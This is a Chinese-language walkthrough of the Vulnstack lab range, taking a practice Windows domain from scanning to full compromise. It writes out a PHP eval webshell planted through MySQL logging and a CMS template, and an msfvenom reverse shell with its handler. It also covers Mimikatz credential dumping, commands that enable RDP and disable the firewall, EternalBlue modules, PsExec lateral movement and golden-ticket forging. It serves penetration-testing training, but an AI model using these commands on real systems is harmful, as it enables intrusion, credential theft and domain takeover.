文章目录
一、环境搭建
1、项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
2、环境拓扑
3、网络配置信息
攻击机:
192.168.144.128
win7 web服务器
外网ip:192.168.144.132
内网IP:192.168.52.143
win2008 DC域控
内网ip:192.168.52.138
win2k3 域成员
内网ip:192.168.52.141
域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XX/24 网段:
二、web漏洞利用
1、信息收集
arp-scan -l
web服务器外网地址:192.168.144.132
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.144.1/24
nmap -T4 -A 192.168.144.132 -p 1-65535 -oN nmap.A
dirsearch -u http://192.168.144.132
发现备份文件:
http://192.168.144.132/beifen.rar
信息收集结果:
1、ip地址:192.168.144.132
2、开放端口号
3、敏感目录:http://192.168.144.132/phpMyadmin
4、发现yxcms:http://192.168.144.132/yxcms
2、漏洞利用
漏洞一:mysql数据库写入木马获取shell
1.访问
192.168.144.132
,尝试
root:root
数据库用户名和密码,暂时无用。
2.访问
http://192.168.144.132/phpMyAdmin
,使用
root:root
登录尝试。
提示:
常见利用mysql获取shell的方法:
方法1:
select '一句话木马' into dumpfile/outfile '绝对路径'
。此方法条件:
①secure_file_priv变量非NULL,即数据库不限制文件的导入导出(使用
select @@secure_file_priv;
查看)、
②用户拥有root权限、
③知道当前网站的绝对路径。
方法2:利用日志文件。
3.利用日志文件获取shell,查看是否开启日志记录,
general_log=OFF
show variables like '%general%';
4.开启
geberal_log
日志读写功能
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';
5.根据图中
general_log_file
中的绝对路径,上传木马文件
SET GLOBAL general_log_file='C:/www/shell.php'
SELECT '<?php eval($_POST["cmd"]);?>'
6.使用蚁剑连接:
http://192.168.144.132/shell.php
漏洞二:利用网站后台模板获取webshell
1.访问http://192.168.144.132/yxcms,得到
后台地址及默认账号密码
2.前台模板功能可以编辑php文件
3.在acomment.php写入一句话木马
4.通过备份文件获取acomment.php文件地址,
http://192.168.144.132/yxcms/protected/apps/default/view/default/acomment.php
。
5.利用蚁剑连接
三、权限维持
方法1.CS上线
1.生成windows后门
2.配置内置http监听器
3.利用蚁剑上传windows后门文件
4.蚁剑执行后门文件,在CS客户端上线
5.提权
方法2.MSF远程监听
1.msfvenom生成反弹shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.144.128 lport=4444 -f exe -o shell.exe
2.通过蚁剑上传shell.exe
3.kali端实施监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.144.128
set LPORT 4444
run/exploit
4.蚁剑执行shell.exe
5.exkali端获取到shell
MSF和CS联动
1.CS设置监听器
#使用msf的如下模块
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.31.229
set lport 6666
set session 1 //传递会话的ID
exploit
至此拿到了web服务器的system权限,拿到Win7的权限,接下来考虑的就是如何通过这台主机,可以搜集到本身和互通网段信息,并以此进行横向移动。
四、内网信息收集
内网信息收集常用命令:
ipconfig /all #查看本机IP,所在域
route print #打印路由信息
net view #查看局域网内其他主机名
arp -a #查看arp缓存
net start #查看开启了哪些服务
net share #查看开启了哪些共享
net share ipc$ #开启ipc共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation #查看计算机名、全名、用户名、系统版本、工作组、域名、登录域
net user #查看本机用户列表
net user /domain #查看域用户
net localgroup administrators #查看本地管理员组
net view /domain #查看有几个域
net user 用户名 /domain #获取指定域用户的信息
net group /domain #查看域中的工作组,查看把用户分为了多少组
net group 组名 /domain #查看域中某工作组
net group "domain admins" /domain #查看域管理员的名字
net group "domain computers" /domain #查看域中的其他主机名
net group "domain controllers" /domain #查看域控制器
1.查看主机信息:
shell ipconfig /all
2.查看有几个域,只有一个域GOD
net view /domain
3.查看域控制器主机名,域控制器主机名为OWA$
net group "domain controllers" /domain
4.查看局域网内其他主机
net view
5.CS视图
web IP
:192.168.144.132
win7 内网IP
:192.168.52.143
域成员ip
:192.168.52.141
域控ip
:192.168.52.138
6.
hashdump
派生一个任务注入进 LSASS 进程并 dump 当前系统中本地用户的密码哈希
7.
Mimikatz
从 lsass.exe 进程中获取当前登录系统用户名的密码。
8.凭据信息
9.rdp远程登录
通过注册表远程开启3389端口,并关闭win7防火墙
#通过注册表远程开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭防火墙
netsh advfirewall set allprofiles state off
#查看3389端口是否开放
netstat -an | find "3389"
使用
god\administrator/Test@123
进行远程登录
10.域成员和域控端口扫描
11.漏洞探测
通过蚁剑上传fscan探测主机是否存在漏洞,发现
MS17-010
fscan64.exe -h 192.168.52.0/24
信息收集结果
账号密码:Administrator Test@123
主机名:stu1
DNS:god.org
内网ip地址:192.168.52.143
域用户:dev1、root-tvi862ubeh
域控:OWA$
域管理员:Administrator
内网网段:192.168.52.0/24
域成员:192.168.52.141
域控制器:192.168.52.138
win7内网ip:192.168.52.143
192.168.52.143:存在MS17-010
192.168.52.138:存在MS17-010
192.168.52.141:存在MS17-010
五、内网横向渗透
Win7权限已经拿下,通过Win7作为跳板机,横向渗透拿下内网域内的域控和域成员主机。
1.查看当前机器网段信息
2.添加目标内网路由
添加路由目的:让MSF可以访问内网其他主机
方法一:利用MS17-010拿下域控主机192.168.52.138
方法一:利用MS17-010拿下域控主机192.168.52.138
关闭win7防火墙
利用MS17-010拿下域控权限
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.138
run
至此,已经拿到了192.168.52.138的服务器权限
方法二:PTH攻击(哈希传递攻击)获取域控权限
1.用Win7中转一个监听器SMB,监听地址为
Win7内网地址192.168.52.143
2.CS生成一个无状态木马:
beacon.exe
3.通过蚁剑将
beacon.exe
和
PsExec64.exe
上传到Win7主机。
然后远程登录win7在
bash下执行
如下命令
:
执行结果显示文件上传到了域控,但是执行失败
PsExec64.exe -accepteula \\192.168.52.138 -u administrator -p Test@123 -d -c beacon.exe
4.建立ipc管道,用psexec.exe连接cmd
这里密码到期了,从Test@123更改为Test@1234,对过程无影响
net use \\192.168.52.138\ipc$ "Test@1234" /user:god\administrator
PsExec64.exe -accepteula \\192.168.52.138 -s cmd.exe
5.执行beacon.exe
6.CS上线域控主机
7.使用
hashdump
获取到账户的NTLM值
8.使用
mimikatz
找到一个
合法的SID
9.
构造黄金票据
,使用之前获取的
SID
,
krbtgt hash
点击build,显示如下,则执行成功
10.mimikatz查看当前系统票据
11.执行net view 探测当前域中的主机
其中加粗代表已上线,未加粗代表未上线
12.加载票据访问,选择监听器后执行
192.168.52.141主机成功上线